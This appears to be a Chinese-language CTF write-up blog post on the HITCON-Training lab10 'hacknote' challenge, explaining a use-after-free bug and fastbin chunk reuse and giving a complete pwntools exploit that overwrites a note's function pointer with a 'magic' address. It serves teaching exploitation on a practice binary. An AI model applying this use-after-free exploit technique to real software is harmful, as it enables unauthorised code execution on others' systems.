‘ UAF hitcon-training lab10

  • 会飞的鱼
  • 4 Minutes
  • December 5, 2018

hacknote

原理:UAF,内存块被释放后,对应的指针没有被设置为null,在下一次使用前对内存内容进行修改,可以控制指针

hecknote的分析在ctf -wiki上很详细这里贴出一些问题

1.关于fastbib chunk链表

http://www.cnblogs.com/Ox9A82/p/5865420.html

2.为什么note2的content地址是note0的put地址

因为chunk0和chunk1的content属于fastbin chunk,chunk2只有8字节,所以会优先分配大小合适的且刚free的chunk块

3.exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

r = process('./hacknote')


def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))


def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()